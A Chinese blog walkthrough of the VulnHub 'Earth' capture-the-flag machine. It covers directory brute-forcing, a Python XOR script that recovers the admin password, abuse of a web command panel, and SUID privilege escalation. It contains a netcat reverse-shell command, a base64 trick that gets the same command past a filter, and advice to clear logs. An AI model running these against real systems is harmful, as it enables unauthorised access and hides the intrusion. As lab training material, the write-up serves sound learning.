Vulnhub项目:Earth

靶机地址:The Planets: Earth ~ VulnHub

渗透过程:

首先查看靶机描述,需要获取2个flag

Vulnhub项目:Earth_第1张图片

老样子,确定靶机ip,具体的就不详细写了,看图即可

 探测靶机开放端口Vulnhub项目:Earth_第2张图片

如果不进行dns绑定,就会出现下面的错误

Vulnhub项目:Earth_第3张图片

将它要求的,域名和ip进行绑定

 Vulnhub项目:Earth_第4张图片

之后访问域名,就可到达主页

Vulnhub项目:Earth_第5张图片

主页上,有输入框 ,底下应该是被加密的字符串,先暂且不管它

再没有其他信息,进行目录爆破,发现了/admin/login

Vulnhub项目:Earth_第6张图片

对另外一个目录爆破,发现了/robots.txt

Vulnhub项目:Earth_第7张图片

访问后发现了个奇怪的目录,后面是.*

Vulnhub项目:Earth_第8张图片

尝试给它加txt后缀,发现了文档

Vulnhub项目:Earth_第9张图片 Vulnhub项目:Earth_第10张图片

该文档告知我们用户名是terra,采用异或加密,testdata.txt是用来加密的。访问它,是一段字符串

 Vulnhub项目:Earth_第11张图片

随后,对登录框进行访问

Vulnhub项目:Earth_第12张图片

既然已经说的那么明显了,主页上最后一行很长的字符串就应该是最后加密出来的密文,那就写一段破解脚本,脚本如下:

# _*_ coding: utf-8 _*_
"""
Time:     2023/4/20 13:32
Author:   Ays.Ie
"""
import binascii
str = '2402111b1a0705070a41000a431a000a0e0a0f04104601164d050f070c0f15540d1018000000000c0c06410f0901420e105c0d074d04181a01041c170d4f4c2c0c13000d430e0e1c0a0006410b420d074d55404645031b18040a03074d181104111b410f000a4c41335d1c1d040f4e070d04521201111f1d4d031d090f010e00471c07001647481a0b412b1217151a531b4304001e151b171a4441020e030741054418100c130b1745081c541c0b0949020211040d1b410f090142030153091b4d150153040714110b174c2c0c13000d441b410f13080d12145c0d0708410f1d014101011a050d0a084d540906090507090242150b141c1d08411e010a0d1b120d110d1d040e1a450c0e410f090407130b5601164d00001749411e151c061e454d0011170c0a080d470a1006055a010600124053360e1f1148040906010e130c00090d4e02130b05015a0b104d0800170c0213000d104c1d050000450f01070b47080318445c090308410f010c12171a48021f49080006091a48001d47514c50445601190108011d451817151a104c080a0e5a'
pass_str = "According to radiometric dating estimation and other evidence, Earth formed over 4.5 billion years ago. Within the first billion years of Earth's history, life appeared in the oceans and began to affect Earth's atmosphere and surface, leading to the proliferation of anaerobic and, later, aerobic organisms. Some geological evidence indicates that life may have arisen as early as 4.1 billion years ago."
#pass_str转换为16进制
pass_str_hex = binascii.b2a_hex(pass_str.encode(encoding="utf-8")).decode('utf-8').replace("b'",'')
#进行xor运算
res = hex(int(str, 16)^int(pass_str_hex, 16)).replace('0x', '')
#将结果转换成字符串
res_txt = binascii.unhexlify(res).decode('utf-8')
print(res_txt)

 运行出来,发现了都是重复的,那应该密码就是框起来的

用户名:terra        密码:earthclimatechangebad4humans 

尝试登陆后,登陆成功,出现了一个命令执行框

Vulnhub项目:Earth_第13张图片

尝试id,给出了当前id为apache

Vulnhub项目:Earth_第14张图片

下一步,找flag文件,输入

find / -name "*flag*"

Vulnhub项目:Earth_第15张图片

发现了flag.txt文件,查看后得到了user_flag

Vulnhub项目:Earth_第16张图片

[user_flag_3353b67d6437f07ba7d34afd7d2fc27d] 

下一步,提权至root,获取root_flag,命令行输入下面的命令,查询suid的程序

find / -perm -4000 2>/dev/null

发现存在一个reser_root的二进制执行文件,利用命令框执行,执行失败

那就先反弹shell吧,在本地开启监听,反弹shell

nc -e /bin/bash 192.168.56.104 8800 

Vulnhub项目:Earth_第17张图片

被禁用了!!!!没办法了吗?

利用base64绕过,尝试下

echo 'nc -e /bin/bash 192.168.56.104 8800' | base64

bmMgLWUgL2Jpbi9iYXNoIDE5Mi4xNjguNTYuMTA0IDg4MDAK

echo bmMgLWUgL2Jpbi9iYXNoIDE5Mi4xNjguNTYuMTA0IDg4MDAK |base64 -d|bash

Vulnhub项目:Earth_第18张图片

 Vulnhub项目:Earth_第19张图片

python生成一个交互式shell

Vulnhub项目:Earth_第20张图片

利用nc将这个文件传到本地kali上进行分析

利用strace 对其进行分析后发现,缺少了这三个文件。

Vulnhub项目:Earth_第21张图片

在shell中进入相应的目录,确实没有相关的文件,那就直接给创建上就行了

Vulnhub项目:Earth_第22张图片

创建完后,再运行这个二进制执行程序,它将root的密码初始为Earth了,直接切换root用户即可提权

Vulnhub项目:Earth_第23张图片

最后获取root_flag!

Vulnhub项目:Earth_第24张图片

[root_flag_b0da9554d29db2117b02aa8b66ec492e] 

渗透结束!

总结:

最后总结下思路:

1、确定靶机ip、收集靶机开放端口、根据信息,进行ip和域名的绑定

2、访问页面,对页面进行收集,主要是查看有什么功能

3、对页面进行目录爆破,发现后台路径,隐藏文件

4、根据相关文件,进一步获取用户名和密码

5、编写脚本破译密码

6、利用命令执行,找寻flag、反弹shell,如果被拦截,可以利用其他方式绕过,例如base64、编码等

7、找寻具有suid的执行文件,提权

8、提权失败、strace分析文件,满足文件需求,再次执行

9、提权成功,获取flag

10、清理痕迹,/var/log

你可能感兴趣的:(渗透项目,网络安全,web安全)